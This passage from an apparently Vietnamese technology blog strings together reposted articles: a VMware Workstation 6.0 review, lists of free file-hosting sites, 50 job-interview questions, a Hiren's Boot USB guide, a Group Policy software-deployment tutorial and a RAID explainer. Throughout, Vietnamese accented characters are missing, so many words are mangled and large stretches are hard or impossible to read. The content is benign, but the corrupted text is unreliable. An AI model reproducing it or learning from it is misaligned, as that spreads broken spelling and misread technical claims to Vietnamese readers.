khc. V l s b ng. Chi ph cho 1 phn mm bao gi cng cao hn phn cng nh. Nn theo bc th nn mua 1 server mi hay vit li phn
mm ??? Gi phn mm gia cng cho nc ngoi t 30ng (thp nht) n na triu USD (trung bnh). Ch c cc cng ty nh mi dng server l PC thi bc . V n lm vai tr c. Cc cng ty th min bnh lun. V server phi nh th no bc c th tham kho IT ca server XHTT ny. Ti ngh bc c quen nh. Theo ti bit, th VN hin ti c t cng ty vit phn mm cho my c nhn, phn ln l server. Nn bc khi lo vic tm vic ca ti. DrHoang Email: drhoang@*****.*** tr li Ban Hng Thi , Virtual PC cng l my o c hay hn Vmware ch cu hnh phn cng d, thm USB , u pha y ht nh driver trong my tht, ng khng no? . XPE mun thanh cng ton din ngoi chuyn phi lm tng ci plugin c driver y ht nh my tht, phi bit thm registry cho ng, cch lm cng ng qui tc ca plugin. XPE coi nh mt h iu hnh cha hon thin nu thiu nhiu plugin do ngi dng lm ra . Ai m ch bit card mn hnh no u dng driver ch ring cho loi card y, XPE cng th . Nhng driver Nvidia c th dng chung cho nhiu card Nvidia khc i cng lc min l chng trong nhm 6x, .7x, 8x . Do vy, mun bit thnh cng cho bt c plugin no trong XPE, phi th qua c chy tt trn CDRW hay DVDRW( hao a CDRD ). Do my o c test ISO nn ti cng th xem th no v cc bn nh bn Duy b sung sau cng khng th test ISO chnh xc cho XPE ISO hay CDXPE c http://www.xahoithongtin.com.vn/index.asp?id=&subjectid=14347 +++++++++++++ VMware Workstation 6.0 l sn phm mi nht trong dng sn phm rt thnh cng ca VMware. y thc s l cng c hu ch cho cc lp trnh vin, chuyn gia qun tr h thng v c nhng ngi dng c nhn khi mun khm ph, th nghim hay n gin ch l xem qua cho bit mt sn phm phn mm mi. Hng pht trin phn mm VMware tham gia vo th trng o ha cch y 8 nm, cc sn phm ca h , ang v s gip rt nhiu cho cc nh pht trin phn mm, chuyn gia qun tr mng, chuyn gia kim nh phn mm v c nhng ngi dng bnh thng. Vi sn phm VMware
Workstation 6.0, hng sn xut tip tc ci tin v a ra cc tnh nng mi dnh cho dng sn phm xut sc nht. My tnh o, ng vi tn gi n c mi chc nng nh mt my tnh bnh thng ch khc mt iu l my tnh o chy trn nn ca my tnh tht. Mt my tnh tht chy phn mm VMware Workstation 6.0 c th h tr v s cc my o chy trn n vi gii hn ch l dung lng cng. Cc my tnh o c th chy ng thi s lng ty thuc vo lng b nh RAM ca h thng tht, thm ch cc my o ny cn c th lin lc vi nhau to thnh mt m hnh mng o. Vi phn mm o ha, th nh qun tr h thng c th ci t mt my o chy h iu hnh mi kim tra tnh n nh, cc chuyn gia pht trin phn mm c th kim tra sn phm ca mnh chy trn nn nhng h iu hnh khc nhau mt cch nhanh nht, nhng nh nghin cu phn mm c hi c th phn tch mt virus mi m khng h gy tn hi n my tnh tht v ngi dng bnh thng c th chy cc phn mm m ch c th chy trn cc h iu hnh c. gallery Microsoft Virtual PC 2007 v Parallels Workstation cng a ra cc sn phm o ha my tnh nhng VMware Workstation vn vt tri vi cc tnh nng nh cho php lu li tnh trng ca my o ti mt thi im (gi l snapshot) v d dng khi phc li tnh trng ca my o vo thi im lu. Trong VMware Workstation 6, ngi dng c th to nhiu im snapshot trn cng mt my o. Mt v d cho chc nng ny l bn c th kim tra phn mm chng spyware ca mnh bng cch to mt snapshot ngay lc my tnh b nhim v dng phn mm qut spyware sau to mt snapshot ngay khi my tnh ht nhim. gallery Vi VMware Workstation 6 bn c th to mt h thng mng gm nhiu my o bng cch sao chp mt my o ci hon chnh h iu hnh v cc ng dng m khng cn phi ci tng ci. Ngoi ra bn c th ghi li cc tc v c thc hin trn my o thnh mt on phim hng dn. Trong VMware Workstation 6.0 c th tnh nng h tr cho cc h iu hnh 64-bit v Windows Vista. Hn na vic h tr a mn hnh cho php mt my o th hin trn nhiu mn hnh (d nhin l h iu hnh chy trn my o cng phi h tr tnh nng ny). H tr USB 2.0 cng l mt c im mi ca Vmware 6 Trong cc bn VMware Workstation trc cng cho php m cc my o c to bi cc dng sn phm ca VMware nh VPC 2007 v Symantec LiveState Recovery. phin bn mi tnh nng Import my o c nng cp da trn sn phm VMware Converter. N c th import t mt my tht
to thnh mt my o (lu ch h tr cc my tht chy h iu hnh Windows NT4, Windows 2000, Windows Server 2003, Windows XP, Windows Vista) hay import cc my o ca Virtual PC (sn phm my ch o ca Microsoft), thm ch c th to my o bng cch import tp tin nh c to bi Ghost 9.x tr v sau. gallery Nhm phc v cho vic kim th phn mm ca cc chuyn gia lp trnh, VM6 tch hp lun c h thng Virtual Studio development ca Microsoft v nn tng pht trin Eclipse cho php nh lp trnh d dng bin dch m ngun v chy n trn my o trong khi s dng Remote Debugging trn my tht kim th. Phin bn 6.0 cng nng gii hn dung lng RAM c php cp pht cho tt c cc my o ln 4 GB v cho mt my o duy nht ln 3.6 GB. Mt trong nhng tnh nng mi na l cho php thc hin tc v ko - th trong khi chuyn d liu t my o Windows sang my o Linux. VMware Workstation 6 l sn phm mi nht trong dng sn phm rt thnh cng ca VMware. y thc s l cng c hu ch cho cc lp trnh vin, chuyn gia qun tr h thng v c nhng ngi dng c nhn khi mun khm ph, th nghim hay n gin ch l xem qua cho bit mt sn phm phn mm mi (PCmag) http://www.thongtincongnghe.com/article/2226 c ng bi haodalat ti 8:05 SA 0 nhn xet Nhan: My o
08-04-2008
Hosting free cho designer ..
tm kim mt hosting upload cc file cho khch hng xem trc tip xem ra khng n gin. Mt bi vit tng hp cc ngun hy vng s gip ch cc designer trong khi cha c hosting/ server ring. Phn ny dnh cho cc bn lm flash, hoc in n, v attach email ch di 10mb, nn chia nh v ni li vi khch hng rt kh khn v phin tai. Di y l mt s hosting free, bn ch cu bm v upload, rt n gin http://www.myfreefilehosting.com/ http://ts-host.com/ http://www.filefactory.com/upload/
http://www.filesupyours.com/ http://keepmyfile.com/ http://mihd.net/ http://uploading.com/ http://omsweb.co.nr/ http://vieturl.com/ Host up d liu (ly dc link trc tip): http://my.opera.com/ vi 300MB http://www.fileden.com/ http://keepmyfile.com/ Host up d liu (qun l theo Folder) http://www.4shared.com/ http://megaupload.com/ http://box.net/ http://esnips.com/ Qun l c c chng trnh h tr http://www.filefactory.com/ http://www.mediafire.com/ http://mediamax.com/ 25GB Host up nh http://anhso.net/index.asp http://freeimagehost.eu/ http://imageshack.us/ http://imeem.com/ http://photobucket.com/ Host up Nhc http://imeem.com/ http://minorcrisis.net/ http://musicwebtown.com/ http://mediamungo.com/ Host up Video http://google.com/ http://heavy.com/ http://videowebtown.com/ http://imeem.com/ http://youtube.com/
Kho lu d liu min ph trn mng
Nhng website lu tr ny cho php mi ngi chia s file c dung lng ln hoc m ra xem trn bt c my tnh kt ni Internet no. Tt c u d s dng v mt s cn t ng cp nht file mi trong cng ca ngi s dng. http://box.net/: 1 GB min ph v 5 GB nu ngi s dng tr thm 5 USD/thng. http://mediamax.streamload.com/: Min ph 25 GB upload (ti ln) v 1 GB download (ti xung) mi thng. Nu tr thm 4,95 USD/thng, ngi s dng s c lu tr o 100 GB v c th ti v 10 GB/thng. https://www.mailbigfile.com/: Cho php gi file nhanh chng, d dng vi kch thc ln n 1 GB m khng cn ng k ti khon. Mail Big File h tr m ha 128 bit, tc an ton hn c cc dch v e-mail thng thng. http://www.pando.com/: Mt dch v kt hp ca YouSendIt, BitTorrent v AIM. http://www.mooload.com/: Kch thc file ti a l 500 MB v s ch t ng xa nu sau 30 ngy khng c ai ti xung. http://www.diino.com/: Ngoi vic cho php chia s file dung lng ln d dng, Diino cn h tr t chc nh s, chi nhc v truy cp thng tin an ton. http://www.hkbn.net/bbdrive: Lu tr 10 GB v khng gii hn kch thc file. http://www.picture9.com/: Ni lu tr nh v to slideshow cho blog, u gi eBay v MySpace. http://filexoom.com/: Kch thc file ti a 100 MB, kh nng lu tr 2 GB v h tr tt c cc nh dng file. http://zshare.net/: Kch thc file 100 MB, thi hn 10 ngy (ch b xa nu khng c ai ti trong vng 10 ngy). http://bigfileupload.com/: Kch thc file 100 MB, khng gii hn thi gian lu tr. http://www.gimehost.com/: Ti file vi dung lng 250 MB. http://www.sendover.com/: Kch thc file ln ti 2 GB nhng thi gian tn ti ca file ch l 7 ngy.
http://www.megashares.com/: Kch thc file 1,5 GB v s b xa sau 25 ngy nu khng c ai ti v. http://www.filefactory.com/: Kch thc file 1,5 GB, cho php ti xung 25 ln trong thi gian 7 ngy. http://www.spread-it.com/: Kch thc file 500 MB vi thi hn 14 ngy. http://www.xtrafile.com/: Kch thc file 250 MB, thi hn: 15 ngy http://www.rapidsharing.com/: Kch thc file 50 MB vi thi hn 60 ngy. http://www.yousendit.com/: Kch thc file 1 GB, gii hn 25 lt ti v thi gian tn ti 7 ngy. http://www.rapidshare.de/: Kch thc file ti a 100 MB vi thi gian tn ti 30 ngy. http://www.inbox.com/: Webmail min ph vi dung lng 2 GB. http://mauthietke.com/subject.asp?P_ID=204&PT_ID=108 c ng bi haodalat ti 10:26 CH 0 nhn xet Nhan: HOSTING
07-04-2008
50 cu hi thng gp trong phng vn xin vic
Vi cc cu hi nh tuyn dng t ra trong qu trnh phng vn, bn nn tr li sc tch v chn thnh, khng nn nh gi thp thnh cng ca mnh v ngc li, khng phng i cng vic bn hon thnh. 1. Hy ni v bn? 2. Ti sao bn li ngh vic cho cng vic bn lm gn y nht? 3. Bn c kinh nghim g trong lnh vc ny? 4. Bn c ngh rng bn thnh cng trong cuc phng vn ny khng? 5. ng nghip ca bn nhn xt nh th no v bn?
6. Ban bit g v cng ty ny? 7. Bn lm g nng cao kin thc ca bn trong nm va qua?
8. Ngoi cng vic ny bn c xin vic mt ni no khc khng? 9. Ti sao bn mun lm vic cho cng ty ny? 10. Bn c bit ai ang lm vic cho cng ty ny khng?
11. Bn mun mc lng nh th no? 12. Bn c th l ngi lm vic ng i khng? 13. Bn ngh bn s lm vic bao lu vi chng ti, nu bn c chp nhn? 14. Bn c pht ai bao gi cha? Bn c cm nhn nh th no v vn ? 15. Trit l lm vic ca bn l g?
16. C bao gi bn b cho thi vic cha? 17. Bn nhn xt v nh gi cng ty ny nh th no? 18. Ti sao chng ti phi nhn bn vo lm vic? 19. Hy ni v mt ngh m bn c? 20. Mi "quan h" ca bn vi ng nghip nh th no?
21. im mnh (u im) ca bn l g? 22. Hy ni v ngh nghip m c ca bn? 23. Ti sao bn ngh bn s lm tt cng vic ny? 24. Khi tm vic th nhng iu g bn s quan tm? 25. Nhng loi ngi no m bn s t chi lm vic chung?
26. iu g quan trng nht i vi bn?
27. Nhng im mnh m sp ca bn ni v bn l g? 28. Hy cho bit nhng vn kh khn m bn gp phi khi lm vic vi sp ca bn? 29. Nhng iu g lm bn lo lng khi lm mt cng vic? 30. Hy cho bit kh nng ca bn khi lm vic di mi trng p lc?
31. K nng ca bn ph hp vi cng vic ny hay tng t cng vic ny? 32. Nhng yu t ng vin no gip bn lm vic tt nht? 33. Bn c sn sng lm vic ngoi gi? Ban m? Ngy ngh cui tun? 34. iu g lm cho bn bit bn thnh cng trong cng vic? 35. Bn c sn sng i lm vic ni khc theo yu cu ca cng ty hay khng?
36. Bn c sn sng t quyn li ca cng ty trn quyn li c nhn hay khng? 37. Hy m t phong cch qun l ca bn? 38. Bn lm g v hc g cho mt ln tht bi trong cng vic? 39. Nhng mn hc no bn hc km nht? 40. Nu nh cng ty nhn bn vo cng vic ny, bn s bt u ra sao?
41. Bn c ngh rng bn qu gii, kh nng cao cho cng vic ny hay khng? 42. Bn c nhng k hoch g b p s thiu kinh nghim ca bn? 43. Nhng phm cht no ngi sp m bn mong mun c? 44. Hy ni v trng hp khi bn gip gii quyt mt mi bt ha gia 2
ngi? 45. V tr no bn mong mun lm vic trong mt i, khi i lm vic cho mt cng trnh?
46. Hy m t nguyn tc lm vic ca bn? 47. Trong cng vic, iu tht vng ln nht m vn gp phi l g? 48. Hy ni v mt trng hp m bn cm thy vui v nht trong cng vic? 49. Bn c nhng cu hi no cho ti khng? 50. Nu nh bn c y tin bc, v c ai khuyn bn nn ngh hu i, bn c ng khng, ti sao?
Mt tng hay l bn cng nn chun b sn mt s cu hi cho ngi phng vn. Cc cu hi thch hp bao gm:
1. iu g lm cho mt ngi thnh cng cng ty ny? 2. C nhng knh giao tip no gia nhng ngi tp s v nhng ngi gim st h? 3. Xin hy cho bit mt s vic thng lm trong nm u tin?
4. Xin hy cho bit vn ha t chc v phong cch qun l ca cng ty 5. Cng ty c nhng k hoch g cho pht trin trong tng lai? 6. Cc hot ng ca cng ty ti Vit Nam ph hp nh th no vi cc chng trnh v pht trin trong khu vc v trn th gii?
Hy mang danh sch cu hi n cuc phng vn. Hy tp trung ch trong qu trnh phng vn v bt k lnh vc no m bn mun tm hiu.
Phng Vn xin vic Tuesday, 24. July 2007, 15:40:37 80% c hi thnh cng cho bn nu....! Mt cuc phng vn thng thng khng ko di lu, ch gi gn trong khong thi gian t 30-60 pht v c chia lm 3 phn. Nu bn c th gy n tng tt vi nh tuyn dng ngay trong phn u, coi nh bn nm trong tay 80% c hi thnh cng. Phn 1: Mn cho hi C th coi nh y l phn khi ng. Trong nhng pht u tin, nh tuyn dng c v nh khng c " " g, nhng thc ra h ang ngm quan st bn y. Cch cho hi, ci bt tay chuyn nghip, cch n mc, thm ch c hng thm ca bn, s to ra n tng ban u. Nh tuyn dng s bt u bng nhng cu hi lin quan n s thch ca bn, v thi tit ngy hm th no, bn i bng phng tin g, bn ngh g v quang cnh ca bui phng vn hm nay, Mt s ngi lun vo bng cu hi: "C th ni cho ti bit thm v bn thn bn khng?". Nhng cu hi tng nh v thng v pht y, nhng c ch, hnh vi khng li ca bn thc cht li rt c ngha i vi s thnh bi ca bui ni chuyn. y l lc bn th hin tr thng minh, ti giao tip, kh nng phn tch cu hi ca bn y. Phn 2: Trao i thng tin y mi l lc "vo trn" tht s. Nh tuyn dng s tn dng trit thi gian khai thc bn. H s lt bn qua li nh ang lt mt ch c trn cho la. V vy, bn cn ht sc bn lnh, cng rn, sn sng vi mi th thch. vt qua c phn 2 ny, bn cn c s chun b k lng. Thng th cc cu hi u quen thuc, bn c th hc trong cc cun sch hng dn xin vic lm. y cng l lc bn th hin kh nng, chuyn mn, nng lc ca mnh. ng b l c hi "khoe" ti nng trc nh tuyn dng nh. Phn 3: Tng kt Sau khi tha mn mi iu mun bit, nh tuyn dng s hi bn: "Bn c cu hi no khng?". Nh l hy ch ng t cu hi, cng lin quan n chuyn mn v cng ty cng tt, iu chng t bn quan tm tht s ti cng vic ny. Nu bn im lng, rt r lc u hoc e l: "D khng ", nh tuyn dng s cho rng bn thiu t tin v khng ch ng trong cng vic.
y cng c th l c hi bn v chuyn lng bng. Tt hn ht l i nh tuyn dng t m li. Nu bn mun l ngi ch ng th cng nn hc cch ni tht t nh, lch s, ng t ra l ngi qu am m tin bc. Bn cng nn li dng thi gian phn ba ny ni li cm n vi ngi phng vn bn. ng n lc ra n ca ri mi vi vng quay li: " qun, ti rt mun ni li cm n" - tht bt lch s! Gi th bn hnh dung ra mt cuc phng vn xin vic cha? Hy chun b tht k nh, v chc bn thnh cng! http://my.opera.com/trantuanpc/blog/?startidx=10 c ng bi haodalat ti 12:12 SA 0 nhn xet Nhan: viec lam
06-04-2008
To USB khi ng vi Hiren's Boot
Nu chng ta c sn 1 USB 2GB mang theo mnh cng vi nhng b ci t cn thit th tt bit bao. Lu l bn s phi dng USB vi dung lng ti thiu l 128MB cha Hiren's Boot image v cc file khi ng (~80MB) Sau y l vi bc n gin m bn c th t to USB khi ng vi nhng cng c ca Hiren's Boot cho ring mnh. 1. Download tin ch to file boot cho USB ti y: extract-boot-files.zip Gii nn tp tin s to ra th mc BootUSB v copy file Hiren's BootCD.iso ( bn mi nht l 9.2) vo th mc BootUSB 2. Tip theo bn chy file Get_Boot_Files.cmd t trong th mc BootUSB chng trnh copy cc file cn thit vo th mc C:\USB. 3. By gi li download tin ch USB Disk Storage Format 4. Gii nn v chy file USB Disk Storage Format, y USB ca ti l H:\, c th l khc trn h thng ca bn, chn h thng file (File system) l FAT, tn cho USB (Volume label) th ty bn, nh du chn vo mc Creat a DOS Bootable Disk, mc Using DOS system locate at mc nhin c chn, tip g "C:\USB" (khng c du nhy kp) vo trng bn di hoc nhn nt Browse duyt n th mc lu cc tp tin khi ng to ra trn.
5. Hy chc chn l sao lu ht d liu trn USB ca bn trc khi nhn nt Start bt u nh dng USB.
6. Sau khi kt thc qu trnh nh dng USB, bn hy copy ton b ni dung th mc C:\USB to ra trn ra a USB ca bn.
Note: Khng ghi file IO.sys khi c hi c ghi hay khng. Xa file JO.sys (ch khng phi IO.sys) trn USB 7. Copy ton b th mc BootCD t Hiren's BootCD image ln USB V by gi bn c th cm thy thoi mi khi mang bootable USB gn nh hn l CD to ng v chm chp. 8. Cui cng l sau ny mun nng cp phin bn ca Hiren's Boot, bn ch vic copy li th mc BootCD trong Hiren's Boot ISO m thi, phi vt i 1 ci CD nh "ngy xa". Tht tin li phi khng? http://hocit.com/forum/showthread.php?t=22040 c ng bi haodalat ti 11:54 CH 0 nhn xet Nhan: USB BOOT
Hng dn Ci t phn mm t xa hng lot !
C mt cu t ra l lm th no ci t cc phn mm trong LAN c Domain m ko cn i ci tng my m ch cn ngi trn server ci t. Cu hi tng chng hc ba v kh thc hin nhng vi Win2k3 h tr th chng ta c th lm mi vic. Trong chng ta ai cng phi ci t phn mm n hng x ln. Vic ci phn mm ln s tn rt nhiu thi gian v nht l vi s lng my tnh ln. By gi c mt cu hi t ra l: Mt cng ty c khong 50-70 my tnh (v d thi, c th t hn hoc nhiu hn ty vo quy m cng ty). Cty ang dng Office 2003 nhng gim c mi k hp ng mua Office2007 ca MS v bo ban l admin ca cng ty ci ht vo tt c cc my. Vic tng chng n gin nhng ci ht 70 ci my tnh bn phi mt vi ngy, trong khi nhn vin vn phi lm vic ko th ngi ch bn ci tng my c. Vy bn s lm th no vi trng hp ny, nu ko c cch gii quyt th vi ba na cong ty c soft no cn ci na thi ring vic ci t ca bn cng ko cn thi gian hon thnh, v c th sp cho bn ngh vic ngay. Vi mi trng domain ca 2k3 th vic trin khai cng vic ny d hn v n sinh ra l qun tr v h tr ti cc ng dng. Hm nay ti xin lm mt bi hng dn v cch lm ny, hy vng gip c ci bn trong trng hp no khi mnh ri vo yu cu ny. Yu cu:
-C t nht 1 my l DC (Domain Controller-My ch min) -Cc my con phi join vo min ca my ch. -C soft cn ci ( y ti ci Ev-Tran 4.0)copy trn HDD ca server. -Mi th trong LAN hot ng tt. Chng ta bt u vo vic. Trc tin chng ta cn hiu chng ta s lm g, v bng cng c no. V chng ta phi hiu l thuyt v cng dng cng nh mc ch ca n l g. Mnh y s dng GPO ca 2k3 thc hin yu cu. y dch v c tn l Software Installation Servies Dch v trin khai phn mm. Mc ch: Software Installation Service s dng Group Policy (chnh sch nhm) trin khai gi phn mm t ng t xa theo yu cu trong mng LAN gim ti cho Server. Khng ging nh ci phn mm trc tip trn my trm, s dng software installation servies c hai ch . Public: Phn mm s c hin th trong danh mc Add New Programs ca thnh phn Add or Remove Programs. Ngi dng trn my client mun ci t phi n vo nt Add program th chng trnh thc s mi c ci t. Khi chng trnh s thc hin vic ci t phm mm t ng cho n khi hon thnh. Ngi dng khng th remove chng trnh phn mm. Assign: Phn mm s xut hin trong danh mc Program trn thanh Start, khi ngi dng chy short th phn mm mi c ci t. Ngi dng c th khng ci gi phn mm ny v remove short i. Phng php trin khai a s cc phn mm ca Microsoft hoc cc hng khc u c cung cp di dng file *.exe v *.msi. Software installation servies ch trin khai c cc gi phn mm dng file *.msi v *.zap. i vi cc phn mm c dng *.msi th qu trnh trin khai n gin v n c h tr. Nu phn mm khng c dng *.msi m dng *.exe th chng ta phi chuyn file sang dng *.zap, dng file m chng trnh trin khai phn mm cho php. Khi trin khai gi phn mm th chng ta cn share th mc cha file v cho nhm Everyone c quyn read. Phng php chuyn file *.exe sang dng file *.zap: M notepad v vit vo on m chuyn nh sau: Code: [Application] Friendlyname = Tn gi phn mm Setup command = \\\\file .exe Sau save li vi tn file l .zap Phng php trin khai trn server Software Installation Services c th c p dng trin khai cho ton domain hoc mt s OU hoc Computer no trong mng V d y mnh to OU ItLab v to trin khai cho OU ny, cng ty cc bn c th trin khai ton cng ty hoc ch mt phng ban no .
Trn server copy a Office vo HDD ca my ch, chia s th mc cho Everyone c quyn read hoc Full. M ca s Active Directory User and Computer, chut phi OU phng ItLab, chn Properties, chn tab Group Policy, click vo Edit. Ti ca s Group Policy Object Editor tm n ng dn User Configuration\SoftwareSetting\Software Installation chut phi ch New package. Tip theo mt ca s m ra cho chng ta chn n th mc cha phn mm cn trin khai. Nu phn mm dng *.msi th chng ta ch cn chn n th mc v chn file setup trong . Nu khng phi *.msi th chng ta chuyn sang dng *.zap ri chn ng dn ti file *.zap ti y. Lu phi chn phn mm theo ng dn card mng nh trn, ko th khi ci t n s ko tm c ng dn ca phn mm, hoc n tm vo ung n ko c share quyn, ko th ci c. p theo mt ca s Deploy software m ra cho php chng ta chn ch hin th ca phn mm trn my client. y c 3 dng hin th l Public, Assign v Advanced, do yu cu chng ta chn Public mi ngi trong OU u c th ci phn mm trong Add New Program. Sau khi click Ok phn mm s c hin th trong ca s bn phi ca mc Software Installation Nh vy chng ta trin khai xong gi phn mm Ev-Tran 4.0 trn Server. Trn client ngi dng mun ci t phn mm th ng nhp vi User ca domain v vo Control Panel\Add or Remove Program\Add New Program, click vo nt Add ci t phn mm ! http://forum.itlab.com.vn/forum/showthread.php?t=1845 c ng bi haodalat ti 9:07 CH 0 nhn xet Nhan: C TH BN CHA BIT, MCSA, NETWORK
Tm hiu v RAID
Trong vi nm tr li y, t ch l mt thnh phn xa x ch c trn cc h thng my tnh ln, my trm, my ch, RAID c a vo cc my tnh bn di dng tch hp n gin. Tuy nhin, c th ngi mua bit bo mch ch (BMC) ca mnh c cng ngh RAID nhng khng phi ai cng bit cch s dng hiu qu. Bi vit ny gii thiu thng tin c bn v RAID cng nh mt vi kinh nghim s dng tng sc mnh cho PC. RAID L G? RAID l ch vit tt ca Redundant Array of Independent Disks. Ban u,
RAID c s dng nh mt gii php phng h v n cho php ghi d liu ln nhiu a cng cng lc. V sau, RAID c nhiu bin th cho php khng ch m bo an ton d liu m cn gip gia tng ng k tc truy xut d liu t a cng. Di y l nm loi RAID c dng ph bin: 1. RAID 0 y l dng RAID ang c ngi dng a thch do kh nng nng cao hiu sut trao i d liu ca a cng. i hi ti thiu hai a cng, RAID 0 cho php my tnh ghi d liu ln chng theo mt phng thc c bit c gi l Striping. V d bn c 8 on d liu c nh s t 1 n 8, cc on nh s l (1,3,5,7) s c ghi ln a cng u tin v cc on nh s chn (2,4,6,8) s c ghi ln a th hai. n gin hn, bn c th hnh dung mnh c 100MB d liu v thay v dn 100MB vo mt a cng duy nht, RAID 0 s gip dn 50MB vo mi a cng ring gip gim mt na thi gian lm vic theo l thuyt. T bn c th d dng suy ra nu c 4, 8 hay nhiu a cng hn na th tc s cng cao hn. Tuy nghe c v hp dn nhng trn thc t, RAID 0 vn n cha nguy c mt d liu. Nguyn nhn chnh li nm cch ghi thng tin x l v nh vy d liu khng nm hon ton mt a cng no v mi khi cn truy xut thng tin (v d mt file no ), my tnh s phi tng hp t cc a cng. Nu mt a cng gp trc trc th thng tin (file) coi nh khng th c c v mt lun. Tht may mn l vi cng ngh hin i, sn phm phn cng kh bn nn nhng trng hp mt d liu nh vy xy ra khng nhiu. C th thy RAID 0 thc s thch hp cho nhng ngi dng cn truy cp nhanh khi lng d liu ln, v d cc game th hoc nhng ngi chuyn lm ho, video s. 2. RAID 1 y l dng RAID c bn nht c kh nng m bo an ton d liu. Cng ging nh RAID 0, RAID 1 i hi t nht hai a cng lm vic. D liu c ghi vo 2 ging ht nhau (Mirroring). Trong trng hp mt b trc trc, cn li s tip tc hot ng bnh thng. Bn c th thay th a b hng m khng phi lo lng n vn thng tin tht lc. i vi RAID 1, hiu nng khng phi l yu t hng u nn chng c g ngc nhin nu n khng phi l la chn s mt cho nhng ngi say m tc . Tuy nhin i vi nhng nh qun tr mng hoc nhng ai phi qun l nhiu thng tin quan trng th h thng RAID 1 l th khng th thiu. Dung lng cui cng ca h thng RAID 1 bng dung lng ca n (hai 80GB chy RAID 1 s cho h thng nhn thy duy nht mt RAID 80GB). 3. RAID 0+1 C bao gi bn ao c mt h thng lu tr nhanh nhn nh RAID 0, an ton
nh RAID 1 hay cha? Chc chn l c v hin nhin c mun khng ch ca ring bn. Chnh v th m h thng RAID kt hp 0+1 ra i, tng hp u im ca c hai n anh. Tuy nhin chi ph cho mt h thng kiu ny kh t, bn s cn ti thiu 4 a cng chy RAID 0+1. D liu s c ghi ng thi ln 4 a cng vi 2 dng Striping tng tc v 2 dng Mirroring sao lu. 4 a ny phi ging ht nhau v khi a vo h thng RAID 0+1, dung lng cui cng s bng tng dung lng 4 , v d bn chy 4 80GB th lng d liu thy c l (4*80)/2 = 160GB. 4. RAID 5 y c l l dng RAID mnh m nht cho ngi dng vn phng v gia nh vi 3 hoc 5 a cng ring bit. D liu v bn sao lu c chia ln tt c cc cng. Nguyn tc ny kh ri rm. Chng ta quay tr li v d v 8 on d liu (1-8) v gi y l 3 a cng. on d liu s 1 v s 2 s c ghi vo a 1 v 2 ring r, on sao lu ca chng c ghi vo cng 3. on s 3 v 4 c ghi vo 1 v 3 vi on sao lu tng ng ghi vo a 2. on s 5, 6 ghi vo a 2 v 3, cn on sao lu c ghi vo a 1 v sau trnh t ny lp li, on s 7,8 c ghi vo 1, 2 v on sao lu ghi vo 3 nh ban u. Nh vy RAID 5 va m bo tc c ci thin, va gi c tnh an ton cao. Dung lng a cng cui cng bng tng dung lng a s dng tr i mt . Tc l nu bn dng 3 80GB th dung lng cui cng s l 160GB. 5. JBOD JBOD (Just a Bunch Of Disks) thc t khng phi l mt dng RAID chnh thng, nhng li c mt s c im lin quan ti RAID v c a s cc thit b iu khin RAID h tr. JBOD cho php bn gn bao nhiu a ty thch vo b iu khin RAID ca mnh (d nhin l trong gii hn cng cho php). Sau chng s c tng hp li thnh mt a cng ln hn cho h thng s dng. V d bn cm vo cc 10GB, 20GB, 30GB th thng qua b iu khin RAID c h tr JBOD, my tnh s nhn ra mt a 60GB. Tuy nhin, lu l JBOD khng h em li bt c mt gi tr ph tri no khc: khng ci thin v hiu nng, khng mang li gii php an ton d liu, ch l kt ni v tng hp dung lng m thi. 6. Mt s loi RAID khc Ngoi cc loi c cp trn, bn cn c th bt gp nhiu loi RAID khc nhng chng khng c s dng rng ri m ch gii hn trong cc h thng my tnh phc v mc ch ring, c th k nh: Level 2 (ErrorCorrecting Coding), Level 3 (Bit-Interleaved Parity), Level 4 (Dedicated Parity Drive), Level 6 (Independent Data Disks with Double Parity), Level 10 (Stripe of Mirrors, ngc li vi RAID 0+1), Level 7 (thng hiu ca tp on Storage Computer, cho php thm b m cho RAID 3 v 4), RAID S (pht
minh ca tp on EMC v c s dng trong cc h thng lu tr Symmetrix ca h). Bn cnh cn mt s bin th khc, v d nh Intel Matrix Storage cho php chy kiu RAID 0+1 vi ch 2 cng hoc RAID 1.5 ca DFI trn cc h BMC 865, 875. Chng tuy c nhiu im khc bit nhng a phn u l bn ci tin ca cc phng thc RAID truyn thng. BN CN G CHY RAID? chy c RAID, bn cn ti thiu mt card iu khin v hai a cng ging nhau. a cng c th bt c chun no, t ATA, ****** ATA hay SCSI, tt nht chng nn hon ton ging nhau v mt nguyn tc n gin l khi hot ng ch ng b nh RAID, hiu nng chung ca c h thng s b ko xung theo thp nht nu c. V d khi bn bt 160GB chy RAID vi 40GB (bt k 0 hay 1) th coi nh bn lng ph 120GB v ch v h thng iu khin ch coi chng l mt cp hai cng 40GB m thi (ngoi tr trng hp JBOD nh cp). Yu t quyt nh ti s lng a chnh l kiu RAID m bn nh chy. Chun giao tip khng quan trng lm, c bit l gia SATA v ATA. Mt s BMC i mi cho php chy RAID theo kiu trn ln c hai giao tip ny vi nhau. in hnh nh MSI K8N Neo2 Platinum hay dng DFI Lanparty NForce4. B iu khin RAID (RAID Controller) l ni tp trung cc cp d liu ni cc a cng trong h thng RAID v n x l ton b d liu i qua . B iu khin ny c nhiu dng khc nhau, t card tch ri cho dn chip tch hp trn BMC. i vi cc h thng PC, tuy cha ph bin nhng vic chn mua BMC c RAID tch hp l iu nn lm v ni chung y l mt trong nhng gii php ci thin hiu nng h thng r rt v r tin nht, cha tnh ti gi tr an ton d liu ca chng. Trong trng hp BMC khng c RAID, bn vn c th mua c card iu khin PCI trn th trng vi gi khng cao lm. Mt thnh phn khc ca h thng RAID khng bt buc phi c nhng i khi l hu dng, l cc khay hon i nng a. N cho php bn thay cc a cng gp trc trc trong khi h thng ang hot ng m khng phi tt my (ch n gin l m kha, rt ra v cm mi vo). Thit b ny thng s dng vi cng SCSI v kh quan trng i vi cc h thng my ch vn yu cu hot ng lin tc. V phn mm th kh n gin v hu ht cc h iu hnh hin i u h tr RAID rt tt, c bit l Microsoft Windows. Nu bn s dng Windows XP th b sung RAID kh d dng. Quan trng nht l trnh iu khin nhng tht tuyt khi chng c km sn vi thit b. Vic ci t RAID c th gy mt vi rc ri nu bn thiu kinh nghim nhng vn c hng gii quyt trong phn sau ca bi vit.
